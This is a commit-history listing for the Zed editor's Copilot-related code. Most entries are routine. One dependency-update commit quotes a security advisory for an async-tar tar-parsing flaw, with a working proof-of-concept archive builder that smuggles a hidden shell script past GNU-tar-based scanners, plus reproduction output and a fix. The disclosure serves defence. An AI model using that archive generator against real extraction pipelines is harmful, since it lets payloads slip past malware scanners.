Commit graph

422 commits

Author SHA1 Message Date
Bennet Bo Fenner
6943d7362e
copilot_chat: Cleanup after removing OAuth via LSP (#62198)
Some cleanup after moving from away from using the LSP for OAuth

Release Notes:

- N/A
2026-08-05 11:17:54 +00:00
Bennet Bo Fenner
3652f3011a
copilot: Use separate authentication paths for edit prediction and chat (#60535)
Release Notes:

- copilot: Improve robustness of copilot chat provider by splitting
authorisation paths for edit predictions and chat. Note: Existing users
will have to re-authenticate with Copilot

---------

Co-authored-by: cameron <cameron.studdstreet@gmail.com>
Co-authored-by: zed-zippy[bot] <234243425+zed-zippy[bot]@users.noreply.github.com>
2026-07-30 10:34:16 +00:00
Ben Kunkle
eb0e870042
Classify edit prediction lifecycle triggers (#60983)
# Objective

Closes EP-89

- Replace ambiguous `Other` edit prediction telemetry for known editor
lifecycle events.

## Solution

- Classify editor creation, provider changes, user information changes,
Vim mode changes, and settings changes through the existing trigger
pipeline.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

---

Release Notes:

- N/A
2026-07-15 13:14:36 +00:00
renovate[bot]
a1230fc584
Update Rust crate async-tar to 0.6.0 [SECURITY] (#60623)
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [async-tar](https://redirect.github.com/dignifiedquire/async-tar) |
workspace.dependencies | minor | `0.5.1` → `0.6.0` |

---

> [!WARNING]
> Some dependencies could not be looked up. Check the [Dependency
Dashboard](../issues/15138) for more information.

---

### async-tar PAX extension-header desync enables tar entry/content
smuggling
[CVE-2026-53600](https://nvd.nist.gov/vuln/detail/CVE-2026-53600) /
[GHSA-35rm-7j9c-2f7m](https://redirect.github.com/advisories/GHSA-35rm-7j9c-2f7m)

<details>
<summary>More information</summary>

#### Details
##### Summary

`async-tar` v0.6.0 mis-applies a buffered PAX `size` extension to an
intermediary
extension header (a GNU longname `L`, a GNU longlink `K`, or a PAX
`x`/`g`
header) instead of to the next *file* entry. POSIX requires a PAX
extended-header
record set to describe the next file entry, never an intervening
extension
header. Because `poll_next_raw` (`src/archive.rs`) threads the buffered
PAX
records into the size computation of whatever raw header it reads next —
and that
header can be an intermediary `L` — the stream cursor is advanced by an
attacker-chosen amount when the `L` body is consumed. The parser then
desyncs
relative to a POSIX-correct tar parser (e.g. GNU tar), reading
subsequent bytes
at the wrong block boundary.

An attacker who can influence a tar stream that an `async-tar` consumer
extracts
can construct an `x → L → file` sequence whose entry list and on-disk
result
differ between `async-tar` and a reference parser. This enables
content/entry
smuggling: a file that a GNU-tar-based scanner/validator/AV sees as
benign opaque
data is extracted by `async-tar` as a different file with different
bytes (e.g. an
executable script), and vice versa.

Type confusion / improper validation of the specified quantity (size).
CWE-20,
CWE-843. Severity assessed Medium, consistent with the same defect class
in the
upstream tar-rs / tokio-tar lineage.

##### Affected code

Package: `async-tar` (crates.io). Affected version: **0.6.0** (latest
release) and
current `main` HEAD. Both lack the extension-header guard.

`src/archive.rs`, `poll_next_raw` (line numbers from the v0.6.0 tag,
commit `45814b19295b7398e119c90c57d8c8bf70a798b6`):

```rust
    let file_pos = *next;

    let mut header = current_header.take().unwrap();

    // when pax extensions are available, the size should come from there.
    let mut size = header.entry_size()?;

    // the size above will be overriden by the pax data if it has a size field.
    // same for uid and gid, which will be overridden in the header itself.
    if let Some(pax_extensions_data) = pax_extensions_data {   // <-- no is_extension_header guard
        let pax = pax_extensions(pax_extensions_data);
        for extension in pax {
            let extension = extension.map_err(|_e| other("pax extensions invalid"))?;
            let Some(key) = extension.key().ok() else { continue };
            match key {
                "size" => {
                    let size_str = extension.value()
                        .map_err(|_e| other("failed to parse pax size as string"))?;
                    size = size_str.parse::<u64>()
                        .map_err(|_e| other("failed to parse pax size"))?;
                }
                "uid" => { let v = extension.value().unwrap(); header.set_uid(v.parse().unwrap()); }
                "gid" => { let v = extension.value().unwrap(); header.set_gid(v.parse().unwrap()); }
                _ => { continue }
            }
        }
    }

    let data = EntryIo::Data(archive.clone().take(size));   // body length = mis-applied PAX size
```

and a few lines further down the same function:

```rust
    // Store where the next entry is, rounding up by 512 bytes.
    let size = (size + 511) & !(512 - 1);
    *next += size;                                          // cursor advance = mis-applied PAX size
```

The caller loop in `src/archive.rs` (`Entries::poll_next`) buffers a PAX
local
extension into `current_pax_extensions` and then calls `poll_next_raw`
with
`current_pax_extensions.as_deref()` for the *next* raw header. When that
next
raw header is an intermediary GNU longname (handled by the
`is_gnu_longname()`
branch a few lines later), the PAX `size` is applied to it, so `*next`
advances by
the spoofed size rather than the `L` header's own declared size. That is
the
desync.

The buffered PAX records are intended to apply only to the following
*file*
entry; the missing check is whether the raw header currently being sized
is itself
an extension header (`L`/`K`/`x`/`g`).

##### Impact

Differential extraction / entry smuggling. A consumer that extracts an
attacker-influenced tar stream with `async-tar` (e.g. a server endpoint
that
unpacks an uploaded `.tar`/`.tar.gz`, a dependency/artifact fetcher that
unpacks
a remote tarball, an archive-preview/scan pipeline) will:

- materialize files / file contents that a POSIX-correct parser (GNU
tar,
  libarchive/bsdtar) does not surface, and
- omit or alter files that the reference parser does surface.

This breaks any security control that relies on scanning the archive
with one
parser and extracting with `async-tar`: a malware/secret scanner reading
the
stream with GNU tar can be made to see only benign data while
`async-tar` writes
an executable payload to disk. It can also be used to hide entries from
audit/inventory tooling, or to write content to a path the reviewer
believes
holds something else. No attacker-controlled local state is required —
only the
ability to influence the bytes of the tar stream that the consumer
extracts.

##### How input reaches the sink (reachability)

The vulnerable path is the library's primary public API for reading
archives:
`Archive::new(reader).entries()` returns an `Entries` stream whose
`poll_next`
drives `poll_next_raw` for every header. Any consumer that iterates
entries (or
calls `unpack`/`unpack_in` on them) of an attacker-influenced tar stream
reaches
the sink with no additional configuration. The `reader` need not be a
file — it is
any `AsyncRead`, so an upload buffer, an HTTP response body, or a
decompressor
output all qualify. The only precondition for the desync is that the
stream
contain a PAX local-extension header (`x`) carrying a `size` record
immediately
followed by an intermediary GNU longname (`L`) before the next file
header — a
structure the attacker fully controls in the archive bytes.
Representative
reachable consumers are server endpoints that unpack uploaded
`.tar`/`.tar.gz`
bodies, dependency/artifact fetchers that unpack remote tarballs, and
archive-scan/preview pipelines.

##### Proof of concept

A standalone Rust consumer binary that links the published crates.io
`async-tar = "=0.6.0"` (`default-features = false, features =
["runtime-tokio"]`)
and runs the real `Archive::new(...).entries()` extraction loop (the
same shape
used by real downstream server consumers that unpack uploaded tarballs).
It reads
a tar file and writes each entry to a destination directory, printing
the entry
list `async-tar` surfaces. A second binary hand-crafts the malicious and
benign
tar byte streams.

Malicious archive geometry (block = 512 bytes):

```
B0  x  PAX local-extension header, records declare size=1024 (= 2 blocks)
B1     PAX records  ("<len> size=1024\n")
B2  L  GNU longname header, OWN declared size = 512 (= 1 block)
B3     longname block #&#8203;1  = "GNU_SEES_THIS.txt\0..."   (the name GNU tar uses)
B4     a normal file header "placeholder_A" (size 512)
B5     <-- this block IS a valid tar header for the smuggled file
           "hidden_payload.sh" (size 65)
B6     smuggled payload  "#!/bin/sh\n# SMUGGLED ENTRY...\n"
B7,B8  two zero blocks (EOF)
```

GNU tar honours the `L` header's own declared size (1 block) for the
longname and
ignores the buffered PAX `size`, so it reads B3 as the longname, treats
B4 as the
file, and reads B5 as that file's opaque data. `async-tar` mis-applies
the PAX
`size` (2 blocks) to the `L` header, reads B3+B4 as the longname, lands
its cursor
on B5, parses it as a tar header, and extracts the smuggled
`hidden_payload.sh`
body (B6).

Tar-builder source (`mktar.rs`):

```rust
use std::io::Write;
const BLOCK: usize = 512;

fn octal(buf: &mut [u8], v: u64) {
    let s = format!("{:0width$o}", v, width = buf.len() - 1);
    let b = s.as_bytes();
    buf[..b.len()].copy_from_slice(b);
    buf[b.len()] = 0;
}

fn header(name: &[u8], size: u64, typeflag: u8) -> [u8; BLOCK] {
    let mut h = [0u8; BLOCK];
    let n = name.len().min(100);
    h[..n].copy_from_slice(&name[..n]);
    octal(&mut h[100..108], 0o644);
    octal(&mut h[108..116], 0);
    octal(&mut h[116..124], 0);
    octal(&mut h[124..136], size);
    octal(&mut h[136..148], 0);
    h[156] = typeflag;
    if typeflag == b'L' { h[257..265].copy_from_slice(b"ustar  \0"); }
    else { h[257..263].copy_from_slice(b"ustar\0"); h[263..265].copy_from_slice(b"00"); }
    for b in &mut h[148..156] { *b = b' '; }
    let sum: u32 = h.iter().map(|b| *b as u32).sum();
    h[148..156].copy_from_slice(format!("{:06o}\0 ", sum).as_bytes());
    h
}

fn pad(out: &mut Vec<u8>, len: usize) {
    let rem = len % BLOCK;
    if rem != 0 { out.extend(std::iter::repeat(0u8).take(BLOCK - rem)); }
}
fn pax_record(key: &str, val: &str) -> Vec<u8> {
    let mut len = key.len() + val.len() + 3;
    loop {
        let s = format!("{} {}={}\n", len, key, val);
        if s.len() == len { return s.into_bytes(); }
        len = s.len();
    }
}
fn name_block(name: &[u8]) -> Vec<u8> { let mut b = vec![0u8; BLOCK]; b[..name.len()].copy_from_slice(name); b }
fn write_block(out: &mut Vec<u8>, data: &[u8]) { out.extend_from_slice(data); pad(out, data.len()); }

fn build_malicious() -> Vec<u8> {
    let mut out = Vec::new();
    let gnu_name = b"GNU_SEES_THIS.txt";
    let spoof = (BLOCK * 2) as u64;
    let mut recs = Vec::new();
    recs.extend(pax_record("size", &spoof.to_string()));
    out.extend_from_slice(&header(b"./PaxHeaders/0", recs.len() as u64, b'x'));
    write_block(&mut out, &recs);
    out.extend_from_slice(&header(b"././@&#8203;LongLink", BLOCK as u64, b'L'));
    out.extend_from_slice(&name_block(gnu_name));                 // B3
    out.extend_from_slice(&header(b"placeholder_A", BLOCK as u64, b'0')); // B4
    let smuggled_body = b"#!/bin/sh\n# SMUGGLED ENTRY: invisible to a GNU-tar-based scanner\n".to_vec();
    out.extend_from_slice(&header(b"hidden_payload.sh", smuggled_body.len() as u64, b'0')); // B5
    write_block(&mut out, &smuggled_body);                        // B6
    out.extend(std::iter::repeat(0u8).take(BLOCK * 2));
    out
}

fn build_benign() -> Vec<u8> {
    let mut out = Vec::new();
    let mut recs = Vec::new();
    recs.extend(pax_record("path", "normal_file.txt"));
    out.extend_from_slice(&header(b"./PaxHeaders/0", recs.len() as u64, b'x'));
    write_block(&mut out, &recs);
    let body = b"plain benign content\n".to_vec();
    out.extend_from_slice(&header(b"normal_file.txt", body.len() as u64, b'0'));
    write_block(&mut out, &body);
    let body2 = b"second benign file\n".to_vec();
    out.extend_from_slice(&header(b"second.txt", body2.len() as u64, b'0'));
    write_block(&mut out, &body2);
    out.extend(std::iter::repeat(0u8).take(BLOCK * 2));
    out
}

fn main() {
    let a: Vec<String> = std::env::args().collect();
    let bytes = match a[1].as_str() { "malicious" => build_malicious(), "benign" => build_benign(), _ => std::process::exit(2) };
    std::fs::File::create(&a[2]).unwrap().write_all(&bytes).unwrap();
}
```

Consumer source (`main.rs`, mirrors a real `Archive::entries()`
extraction loop):

```rust
use async_tar::Archive;
use tokio::fs;
use tokio::io::AsyncReadExt;
use tokio_stream::StreamExt;

#[tokio::main(flavor = "multi_thread", worker_threads = 2)]
async fn main() {
    let args: Vec<String> = std::env::args().collect();
    let dest = std::path::PathBuf::from(&args[2]);
    fs::create_dir_all(&dest).await.unwrap();
    let bytes = fs::read(&args[1]).await.unwrap();
    let archive = Archive::new(std::io::Cursor::new(bytes));
    let mut entries = archive.entries().expect("entries()");
    let mut idx = 0usize;
    while let Some(entry) = entries.next().await {
        let mut file = match entry { Ok(f) => f, Err(e) => { println!("[async-tar] ERROR: {e}"); break } };
        let path_raw = file.path().expect("path").into_owned();
        let path_disp = path_raw.to_string_lossy().split('\u{0}').next().unwrap_or("").to_string();
        let hdr_size = file.header().size().unwrap_or(0);
        let mut out = dest.clone();
        for comp in std::path::PathBuf::from(&path_disp).components() {
            if let std::path::Component::Normal(p) = comp { out.push(p); }
        }
        let mut body = Vec::new();
        let read = file.read_to_end(&mut body).await.unwrap_or(0);
        if let Some(parent) = out.parent() { let _ = fs::create_dir_all(parent).await; }
        let _ = fs::write(&out, &body).await;
        let preview: String = body.iter().take(48)
            .map(|b| if b.is_ascii_graphic() || *b == b' ' { *b as char } else { '.' }).collect();
        println!("[async-tar] entry#{idx} path={:?} hdr_size={hdr_size} bytes_read={read} body=\"{preview}\"", path_disp);
        idx += 1;
    }
    println!("[async-tar] total entries surfaced: {idx}");
}
```

`Cargo.toml`:

```toml
[dependencies]
async-tar = { version = "=0.6.0", default-features = false, features = ["runtime-tokio"] }
tokio = { version = "1", features = ["rt-multi-thread", "macros", "io-util", "fs"] }
tokio-stream = "0.1"
futures = "0.3"
```

##### End-to-end reproduction

Reference parser: GNU tar 1.35. async-tar: the v0.6.0 crates.io release
linked by
the consumer binary above. Verbatim captured output:

```
$ cargo build --release        # links async-tar v0.6.0 from crates.io
   Compiling async-tar v0.6.0
   Compiling async-tar-consumer v0.1.0
    Finished `release` profile [optimized] target(s) in 10.12s

$ ./target/release/mktar malicious mal.tar
wrote 4608 bytes to mal.tar

##### ---- (A) GNU tar reference: list + extract ----
$ gtar tvf mal.tar ; echo "rc=$?"
-rw-r--r-- 0/0            1024 1970-01-01 08:00 GNU_SEES_THIS.txt
rc=0
$ gtar xf mal.tar -C /tmp/gnu_x ; echo "rc=$?"
rc=0
$ head -c 80 /tmp/gnu_x/GNU_SEES_THIS.txt
hidden_payload.sh

##### (GNU tar surfaces ONE file, 1024 bytes; its data is the opaque tar-header
#####  bytes of B5 — a GNU-tar-based scanner sees only benign noise.)

##### ---- (B) async-tar v0.6.0 consumer: extract ----
$ ./target/release/extract mal.tar /tmp/at_mal
[async-tar] entry#0 path="GNU_SEES_THIS.txt" hdr_size=65 bytes_read=1024 body="#!/bin/sh.# SMUGGLED ENTRY: invisible to a GNU-t"
[async-tar] total entries surfaced: 1
$ head -c 80 /tmp/at_mal/GNU_SEES_THIS.txt

#!/bin/sh
##### SMUGGLED ENTRY: invisible to a GNU-tar-based scanner
```

Same bytes, two parsers, different on-disk result: GNU tar writes a
1024-byte
benign blob; `async-tar` writes a 65-byte executable shell script that
the
reference parser never exposes as an entry. The smuggled `#!/bin/sh`
body is
content a GNU-tar-based scanner would never inspect.

Negative control — a benign archive (correct PAX usage: `x` applies
`path` to the
following file, no intermediary `L`):

```
$ ./target/release/mktar benign ben.tar
$ gtar tvf ben.tar ; echo "rc=$?"
-rw-r--r-- 0/0              21 1970-01-01 08:00 normal_file.txt
-rw-r--r-- 0/0              19 1970-01-01 08:00 second.txt
rc=0
$ ./target/release/extract ben.tar /tmp/at_ben
[async-tar] entry#0 path="normal_file.txt" hdr_size=21 bytes_read=21 body="plain benign content."
[async-tar] entry#1 path="second.txt" hdr_size=19 bytes_read=19 body="second benign file."
[async-tar] total entries surfaced: 2
```

GNU tar and `async-tar` produce identical entry lists and identical
on-disk files.
No smuggling. The differential is exclusive to the `x → L → file` desync
sequence.

##### Fix

Apply the buffered PAX records (and the `size`/`uid`/`gid` overrides)
only when
the raw header being sized is NOT itself an extension header. Skip the
override
for GNU longname (`L`), GNU longlink (`K`), and PAX local/global
(`x`/`g`) headers,
whose body length must come from their own declared size. This mirrors
the fix
adopted in the upstream tar-rs / tokio-tar lineage for the same defect
class.

```rust
    // when pax extensions are available, the size should come from there.
    let mut size = header.entry_size()?;

    // PAX extensions describe the NEXT file entry, not an intermediary
    // extension header. Applying a buffered PAX `size` to such an intermediary
    // header (L/K/x/g) advances the stream cursor by the wrong amount and
    // desyncs the parse.
    let entry_type = header.entry_type();
    let is_extension_header = entry_type.is_gnu_longname()
        || entry_type.is_gnu_longlink()
        || entry_type.is_pax_local_extensions()
        || entry_type.is_pax_global_extensions();

    // the size above will be overriden by the pax data if it has a size field.
    // same for uid and gid, which will be overridden in the header itself.
    if let Some(pax_extensions_data) = pax_extensions_data.filter(|_| !is_extension_header) {
        let pax = pax_extensions(pax_extensions_data);
        for extension in pax {
            // unchanged: same size/uid/gid override loop as before
        }
    }
```

Fix-verify, captured verbatim. The patched `async-tar` (guard added)
re-run
against the same `mal.tar`:

```
$ cargo build --release        # [patch.crates-io] async-tar = { path = "../async-tar-patched" }
   Compiling async-tar v0.6.0 (.../async-tar-patched)
   Compiling async-tar-consumer v0.1.0
    Finished `release` profile [optimized] target(s)
$ ./target/release/extract mal.tar /tmp/at_fix
[async-tar] entry#0 path="GNU_SEES_THIS.txt" hdr_size=512 bytes_read=1024 body="hidden_payload.sh..............................."
[async-tar] total entries surfaced: 1
$ head -c 80 /tmp/at_fix/GNU_SEES_THIS.txt
hidden_payload.sh
```

With the guard, `async-tar`'s view converges with GNU tar's: it surfaces
`GNU_SEES_THIS.txt` with the opaque B5 bytes (`hidden_payload.sh...`) as
data, and
no longer extracts the smuggled executable script. The benign control
still
produces the correct two-file output. The desync is eliminated.

##### Fix PR

A fix PR adding the `is_extension_header` guard to `poll_next_raw` in
`src/archive.rs` is opened from the advisory's temporary private fork
against this
repository. It carries the diff shown in the **Fix** section above (no
behavioural
change for well-formed archives; only intermediary `L`/`K`/`x`/`g`
headers stop
inheriting a following PAX `size`).

##### Credit

Reported by tonghuaroot.

#### Severity
- CVSS Score: 6.3 / 10 (Medium)
- Vector String:
`CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N`

#### References
-
[https://github.com/dignifiedquire/async-tar/security/advisories/GHSA-35rm-7j9c-2f7m](https://redirect.github.com/dignifiedquire/async-tar/security/advisories/GHSA-35rm-7j9c-2f7m)
-
[https://github.com/advisories/GHSA-35rm-7j9c-2f7m](https://redirect.github.com/advisories/GHSA-35rm-7j9c-2f7m)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-35rm-7j9c-2f7m)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Release Notes

<details>
<summary>dignifiedquire/async-tar (async-tar)</summary>

###
[`v0.6.1`](https://redirect.github.com/dignifiedquire/async-tar/compare/v0.6.0...v0.6.1)

[Compare
Source](https://redirect.github.com/dignifiedquire/async-tar/compare/v0.6.0...v0.6.1)

###
[`v0.6.0`](https://redirect.github.com/dignifiedquire/async-tar/releases/tag/v0.6.0):
- Tokio Support

[Compare
Source](https://redirect.github.com/dignifiedquire/async-tar/compare/v0.5.1...v0.6.0)

</details>

---

### Configuration

📅 **Schedule**: (in timezone America/New_York)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

Release Notes:

- N/A

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yNDIuMiIsInVwZGF0ZWRJblZlciI6IjQzLjI0Mi4yIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6W119-->

---------

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
Co-authored-by: Kirill Bulatov <kirill@zed.dev>
2026-07-14 16:21:54 +00:00
Ben Kunkle
9e455065db
ep: Improve trigger granularity (#58561)
Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Closes #ISSUE

Release Notes:

- N/A or Added/Fixed/Improved ...
2026-06-04 22:52:29 +00:00
Anthony Eid
bc64e1f955
copilot: Fix auth db fallback (#57764)
This PR uses https://github.com/zed-industries/zed/pull/57758 as a base
and adds tests, cleans up the comments, and checks changes the database
query used in auth.db to include oauth key.

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Closes #ISSUE

Release Notes:

- Fixed GitHub Copilot Chat showing an empty model dropdown for users on
newer Copilot SDK builds

---------

Co-authored-by: Alexander Shlemov <eodus@users.noreply.github.com>
Co-authored-by: cameron <cameron.studdstreet@gmail.com>
2026-05-28 15:00:31 +00:00
Ben Brandt
2a00db06ce
node_runtime: Respect npm release-age filters for managed npm installs (#56957)
Zed-managed npm installers were resolving a concrete latest version with
`npm info` and then installing `package@version`. That is brittle when
users
configure npm release-age filtering via `before` or `min-release-age`:
npm's
installer applies those rules during resolution, but our pinned install
target
could disagree with it, and therefore fail to install.

This changes managed npm installs to install `package@latest` and let
npm apply
its own resolver and user config. The local latest-version lookup
remains as a
best-effort cache freshness check, not as the exact install target.

Exact extension API installs remain unchanged because extensions
explicitly
request a package and version. If we want to revisit that we can.

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Closes #53611

Release Notes:

- Fixed npm-backed tool installs to better respect npm release-age
filters.
2026-05-18 21:10:06 +00:00
Ben Kunkle
074585934c
copilot: Bypass Copilot LSP node shim (#56635)
Some checks are pending
Congratsbot / check-author (push) Waiting to run
Congratsbot / congrats (push) Blocked by required conditions
deploy_nightly_docs / deploy_docs (push) Waiting to run
run_tests / run_tests_linux (push) Blocked by required conditions
run_tests / run_tests_mac (push) Blocked by required conditions
run_tests / doctests (push) Blocked by required conditions
run_tests / check_workspace_binaries (push) Blocked by required conditions
run_tests / build_visual_tests_binary (push) Blocked by required conditions
run_tests / check_wasm (push) Blocked by required conditions
run_tests / check_dependencies (push) Blocked by required conditions
run_tests / check_docs (push) Blocked by required conditions
run_tests / check_licenses (push) Blocked by required conditions
run_tests / check_scripts (push) Blocked by required conditions
run_tests / check_postgres_and_protobuf_migrations (push) Blocked by required conditions
run_tests / extension_tests (push) Blocked by required conditions
run_tests / tests_pass (push) Blocked by required conditions
run_tests / orchestrate (push) Waiting to run
run_tests / check_style (push) Waiting to run
run_tests / clippy_windows (push) Blocked by required conditions
run_tests / clippy_linux (push) Blocked by required conditions
run_tests / clippy_mac (push) Blocked by required conditions
run_tests / clippy_mac_x86_64 (push) Blocked by required conditions
run_tests / run_tests_windows (push) Blocked by required conditions
We currently run node on the JS wrapper around the native binaries
shipped with https://github.com/github/copilot-language-server-release.
According to their README, this is not required, and it seems like it is
just an option provided so that you can run the server with `npx`.

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Closes #55891

Release Notes:

- Stopped relying on node for running the Copilot language server that
provides edit predictions. The system node version should no longer
affect whether Copilot edit predictions work in Zed
2026-05-13 14:48:39 +00:00
Conrad Irwin
be705e677b
Merge gpui::Task and scheduler::Task (#53674)
Release Notes:

- N/A or Added/Fixed/Improved ...
2026-05-05 22:41:13 +00:00
Dino
c0f01c4278
Update futures to 0.3.32 (#52910)
As part of the work that is being developed for the Project Panel's Undo
& Redo system, in
https://github.com/zed-industries/zed/tree/5039-create-redo , we're
implementing an asynchronous task queue which simply receives a message
with the operation/change that is meant to be carried out, in order to
ensure these run in a sequential fashion.

While trying to use `futures_channel::mpsc::Receiver`, it was noted that
`recv` method was not available so this Pull Request updates the
`futures` crate to `0.3.32`, where it is available.

This version also deprecates `try_next` in favor of `try_recv` so this
Pull Request updates existing callers of `try_next` to use `try_recv`,
which was mostly updating the expected return type from
`Result<Option<T>>` to `Result<T>`.

Co-authored-by: Yara <git@yara.blue>
2026-04-05 23:05:35 +01:00
Piotr Osiewicz
93e641166d
theme: Split out theme_settings crate (#52569)
Self-Review Checklist:

- [ ] I've reviewed my own diff for quality, security, and reliability
- [ ] Unsafe blocks (if any) have justifying comments
- [ ] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [ ] Tests cover the new/changed behavior
- [ ] Performance impact has been considered and is acceptable

Closes #ISSUE

Release Notes:

- N/A
2026-03-27 14:41:25 +01:00
Tim Vermeulen
4bc324ccdc
copilot: Clear completions upon discard (#40185)
Closes #37836

This behavior was already fixed for Supermaven in #37047, but is still
present in Copilot. What's actually happening:
- Receive a multi-line edit prediction
- Dismiss it with escape
- Clicking anywhere in the editor below the cursor calls
`Editor::select` which starts out by calling `Editor::hide_context_menu`
-> `Editor::update_visible_edit_prediction`, bringing back the
prediction that was just dismissed and updating the editor's display map
- The subsequent selection logic in `Editor::select` now operates using
a display map that is inconsistent with what the user saw when clicking
- If the click was anywhere where the prediction inlay used to be,
`Editor::select` thinks the user clicked on the inlay and does nothing,
and the inlay reappears
- If the click was below where the prediction inlay used to be, the
inlay is immediately removed again but the cursor is moved to the wrong
position because the inlay temporarily added a vertical offset to all
lines after it in the buffer

Ultimately, `Editor::select` should be handling the user input using the
same display map that the user saw when making the input. This can
obviously be solved in multiple ways, I chose to clear the current
completions in `CopilotCompletionProvider::discard` such that any
subsequent calls to `Editor::update_visible_edit_prediction` doesn't
immediately nullify the dismissal of the edit prediction by the user.

Note that this also changes the behavior that occurs after dismissing an
edit prediction, moving to a different position in the buffer, and then
returning: currently, this resurfaces the dismissed edit prediction
(which the `test_copilot` test exercises), and after this change it
doesn’t. This current behavior didn't seem desirable to me because it
doesn't happen when using Zeta or Supermaven, but if we want to keep it,
then we could fix the incorrect selection behavior some other way.

Release Notes:

- Fixed bug that resurfaced dismissed Copilot edit predictions when
moving the cursor around

Co-authored-by: Piotr Osiewicz <24362066+osiewicz@users.noreply.github.com>
Co-authored-by: Ben Brandt <benjamin.j.brandt@gmail.com>
2026-03-17 09:59:17 +00:00
Imamuzzaki Abu Salam
e9e71431bb
Add size to DiskState to detect file changes (#49436)
## Summary

This fix addresses the cross-platform root cause identified in issue
#38109 where open buffers go stale or empty when external tools write
files.

## The Problem

The buffer's `file_updated()` method was only comparing `mtime` to
determine if a buffer needed to be reloaded. This caused a race
condition when external tools write files using `std::fs::write()`,
which uses `O_TRUNC` and creates a brief window where the file is 0
bytes:

1. Scanner re-stats → sees 0 bytes, mtime T
2. `file_updated()` sees mtime changed → emits `ReloadNeeded`
3. Buffer reloads to empty, stamps `saved_mtime = T`
4. Tool finishes writing → file has content, but mtime is still T (or
same-second granularity)
5. Scanner re-stats → mtime T matches `saved_mtime` → **no reload
triggered**
6. Buffer permanently stuck empty

## The Fix

Release Notes:

- Add the file `size` to `DiskState::Present`, so that even when mtime
stays the same, size changes (0 → N bytes) will trigger a reload. This
is the same fix that was identified in the issue by @lex00.

## Changes

- `crates/language/src/buffer.rs`: Add `size: u64` to
`DiskState::Present`, add `size()` method
- `crates/worktree/src/worktree.rs`: Pass size when constructing File
and DiskState::Present
- `crates/project/src/buffer_store.rs`: Pass size when constructing File
- `crates/project/src/image_store.rs`: Pass size when constructing File
- `crates/copilot/src/copilot.rs`: Update test mock

## Test plan

- [ ] Open a file in Zed
- [ ] Write to that file from an external tool (e.g., `echo "content" >
file`)
- [ ] Verify the buffer updates correctly without needing to reload

Fixes #38109

---------

Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
Co-authored-by: Ben Kunkle <ben.kunkle@gmail.com>
Co-authored-by: Jakub Konka <kubkon@jakubkonka.com>
2026-03-10 13:55:57 -05:00
Lukas Wirth
b21f4a3deb
Prevent remote edits from triggering edit predictions when collaborating (#51196)
BufferEvent::Edited had no way to distinguish local edits from remote
(collaboration) edits. This caused edit prediction behavior to fire on
the guest's editor when the host made document changes.

Release Notes:

- Fixed edit predictions triggering on collaboration guests when the
host edits the document.

---------

Co-authored-by: Ben Kunkle <ben@zed.dev>
2026-03-10 15:23:49 +00:00
Piotr Osiewicz
97421c670e
Remove unreferenced dev dependencies (#51093)
This will help with test times (in some cases), as nextest cannot figure
out whether a given rdep is actually an alive edge of the build graph

Closes #ISSUE

Before you mark this PR as ready for review, make sure that you have:
- [ ] Added a solid test coverage and/or screenshots from doing manual
testing
- [ ] Done a self-review taking into account security and performance
aspects
- [ ] Aligned any UI changes with the [UI
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)

Release Notes:

- N/A
2026-03-09 13:22:12 +01:00
Cole Miller
be5763632d
Start removing callers of legacy excerpt APIs (#50144)
Paving the way to remove `ExcerptId`. Done in this PR:

- Unshipped the stack trace view
- Get rid of `push_excerpts`
- Get rid of some callers of `remove_excerpts`

We still need to remove some calls to `remove_excerpts` and other APIs,
especially in `randomly_edit_excerpts` and collaboration.

Release Notes:

- The stack trace multibuffer view has been removed.

---------

Co-authored-by: Conrad Irwin <conrad.irwin@gmail.com>
2026-02-26 10:37:43 -05:00
Conrad Irwin
c9dc794786
Fix panic in copilot (#50056)
Fixes ZED-599

register_buffer() only sometimes registers the buffer

Release Notes:

- Fixed a panic in Copilot completions
